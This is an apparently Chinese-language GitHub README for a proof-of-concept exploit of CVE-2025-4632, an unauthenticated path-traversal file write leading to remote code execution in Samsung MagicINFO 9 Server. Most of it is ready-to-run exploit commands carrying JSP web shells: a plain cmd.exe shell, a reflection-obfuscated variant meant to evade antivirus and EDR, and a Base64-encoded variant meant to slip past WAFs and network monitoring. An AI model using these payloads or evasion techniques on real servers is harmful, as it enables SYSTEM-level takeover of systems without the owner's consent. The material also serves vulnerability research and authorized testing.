digitalsurgn/CVE-2025-4632_POC

GitHub: digitalsurgn/CVE-2025-4632_POC

针对 Samsung MagicINFO 9 Server 未授权路径遍历导致的 RCE 漏洞(CVE-2025-4632)提供 Python 利用脚本,支持多种绕过 WAF 和 EDR 的 Web Shell 部署方式。

Stars: 0 | Forks: 0

# Samsung MagicINFO 9 Server 漏洞利用 (CVE-2025-4632) 本仓库包含一个用于 CVE-2025-4632 的 Python 复现脚本,该漏洞是 Samsung MagicINFO 9 Server(21.1052 之前的版本)中的一个未授权远程代码执行 (RCE) 漏洞。 该漏洞的存在是因为 `SWUpdateFileUploader` servlet 对路径名的限制不当。通过利用路径遍历(`../../`),未授权的攻击者可以使用 `SYSTEM` 权限写入任意文件,从而导致服务器被完全攻陷。 ## 工作原理 该脚本自动生成看似合法的设备更新请求。它通过注入目录遍历序列来利用 `fileName` 参数,从而跳出预期的上传目录并将文件直接写入 Web 根目录(`/MagicInfo/`)。 该脚本执行两个步骤: 1. **POST 请求:** 将带有遍历路径的 payload 发送到 `/MagicInfo/servlet/SWUpdateFileUploader`。 2. **GET 请求(验证):** 自动尝试访问上传到 `/MagicInfo/` 的文件,以确认漏洞是否利用成功。 ## 使用方法 ``` python exploit_magicinfo.py -t -f -d ``` ### 参数: * `-t` / `--target`:目标的基础 URL(例如,`http://192.168.1.100:7001`)。 * `-f` / `--filename`:要创建的文件名(例如,`shell.jsp`)。 * `-d` / `--data`:要写入文件的原始内容。 ## 渗透测试 Payload 示例 以下 payload 在评估活动中已成功测试。它们旨在绕过终端安全防护的同时证明漏洞影响。 ### 1. 良性概念验证(影响验证) 用于安全地确认 JSP 执行,而不会触发杀毒软件或 EDR。 ``` python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>' ``` *访问地址:* `http://:7001/MagicInfo/poc.jsp` ### 2. 标准命令执行 Shell 标准的 JSP Web Shell。**注意:** 这可能会被现代 AV/EDR 解决方案捕获并隔离,导致在验证时收到 `404 Not Found`。 ``` python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("
"); while ((l = in.readLine()) != null) { out.println(l); } out.print("
"); } %>' ``` *访问地址:* `http://:7001/MagicInfo/cmd.jsp?c=whoami` ### 3. 混淆命令执行(绕过 EDR/AV) 当标准 shell 被阻止时使用。此 payload 使用 Java 反射来向静态分析隐藏 `Runtime.getRuntime().exec` 签名。 ``` python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("
"+(s.hasNext()?s.next():"")+"
");} %>' ``` *访问地址:* `http://:7001/MagicInfo/bypass.jsp?c=whoami /all` ### 4. 高级 Base64 混淆 Shell(绕过 WAF 和 URL 解析) **强烈推荐用于复杂命令:** 如果您在尝试运行包含空格、反斜杠或特殊字符(例如 `dir c:\`)的命令时遇到 `400 Bad Request` 错误,这说明服务器的严格 URI 验证或 WAF 拦截了该请求。 此高级 payload 要求在 URL 中以 **Base64 编码** 的形式传递命令。它会在服务端执行前进行解码,完全绕过 URL 过滤,并对网络监控器隐藏命令。 ``` python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("
"+(s.hasNext()?s.next():"")+"
");} %>' ``` **使用示例:** 在本地将命令编码为 Base64(例如,`echo -n "dir c:\" | base64`),然后将其传递给 `c` 参数。 * `whoami` -> `d2hvYW1p` * *访问地址:* `http://:7001/MagicInfo/b64.jsp?c=d2hvYW1p` * `tasklist /svc` -> `dGFza2xpc3QgL3N2Yw==` * *访问地址:* `http://:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==` * `dir c:\` -> `ZGlyIGM6XA==` * *访问地址:* `http://:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==` *免责声明:此脚本仅用于教育和授权的渗透测试目的。*
标签:CISA项目, CVE-2025-4632, JSP Webshell, POC, RCE, SYSTEM权限, Web安全, Web报告查看器, 三星 MagicINFO 9, 任意文件写入, 企业安全, 数据展示, 未授权访问, 漏洞复现, 红队, 编程工具, 网络安全, 网络资产管理, 蓝队分析, 路径遍历, 远程代码执行, 逆向工具, 隐私保护